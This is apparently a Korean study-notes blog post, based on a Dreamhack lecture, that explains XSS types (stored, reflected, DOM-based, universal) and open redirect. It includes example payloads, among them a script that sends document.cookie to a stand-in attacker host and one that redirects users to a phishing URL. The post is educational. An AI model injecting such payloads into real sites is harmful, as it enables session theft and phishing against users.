Dreamhack/Web hacking

ClientSide: XSS 🧑🏻‍💻

壓倒 2023. 1. 18. 21:42

해당 포스팅은 https://dreamhack.io/lecture/roadmaps/1?obj=8를 참고하여 작성하였으며 공부 목적으로 작성하였습니다.

XSS


정의

클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 취약점이이다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.

즉, 공격자가 특정 사이트에 XSS 취약점 공격을 수행한 게시물을 올렸다고 가정하자. 만약 사이트 사용자가 해당 게시물에 접근하게 된다면 악성 스크립트가 실행되어 공격자가 의도한 공격이 수행되는 것이다.

XSS 발생 예시와 종류
종류설명
Stored XSSXSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSSXSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSSXSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS Fragment는 서버의 응답과 요청에 포함되지 않음
Universal XSS클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

XSS 스크립트 예시

쿠키 및 세션 탈취 공격의 예시 코드는 다음과 같으며, 간략하게 현재 페이지의 쿠키 값을 공격자 주소로 전달하는 방식으로 동작한다.

<script>
alert("hello"); // hello 문자열 alert 함수로 실행. XSS가 되는지 확인하기 위함

document.cookie; // 현재 페이지의 쿠키(반환 자료형 : string)
alert(document.cookie); // 현재 페이지의 쿠키르 인자로 alert 
document.cookie = "name=test;"; // key: name, value : test 인 쿠키 생성

new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
// dreamhack.io는 공격자 주소이고 공격자 주소에 cookie 값을 요청하게 된다.
</script>

페이지 변조 공격 예시 코드는 다음과 같으며 document.write() 를 사용하여 데이터를 이용자의 페이지에 삽입한다.

<script>
document; // 이용자의 페이지 정보에 접근
document.write("Hacked By DreamHack !"); // 이용자의 페이지에 데이터 삽입
</script>

위치 이동 공격 코드는 다음과 같으며 location.href() 를 사용하여 공격자가 원하는 주소로 이용자를 이동시킨다.

<script>
location.href = "http://hacker.dreamhack.io/phishing"; // 이용자 위치 변경
window.open("http://hacker.dreamhack.io/") // 새창으로 이동
</script>

Stored XSS


Stroed XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS이다. 또한, 악성 스크립트가 서버에 저장된다.

Reflected XSS


서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 즉 서버에 악의적인 스크립트가 포함된 URL을 요청할 경우 스크립트가 실행되어 스크립트 실행 결과가 출력된다.

그리고, Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다는 차이점이 존재한다.

하지만, 악의적인 스크립트가 포함된 URL의 경우 길이가 길어지기 때문에, 일반 사용자가 악의적인 스크립트가 포함된 URL을 눈치챌 수 있다.

그리하여, 공격자들은 이용자들이 눈치채지 못하도록 Click Jacking 또는 Open Redirect 등과 같은 다른 취약점과 연계하여 사용한다.

Open Redirect 취약점 사용자로부터 입력되는 값을 외부사이트의 주소로 사용하여 자동으로 피싱 사이트 및 악성 다운로드 페이지로 연결되도록 하는 취약점이다. [공격 원리] 1. 공격자가 URL 주소를 변조하여 배포 2. 이용자가 변조된 URL 접속 3. 피싱 및 악성 다운로드 페이지로 자동 연결 공격자가 URL 주소를 변조한다는 말은 일반 페이지의 URL이 www.aaa.com 이면 www.aaa.com/?url=공격자가 원하는 주소와 같은 형태로 변조하는 것이다.

오류, 잘못된 점 또는 궁금한 점이 있으시다면 댓글 남겨주세요❗


Uploaded by N2T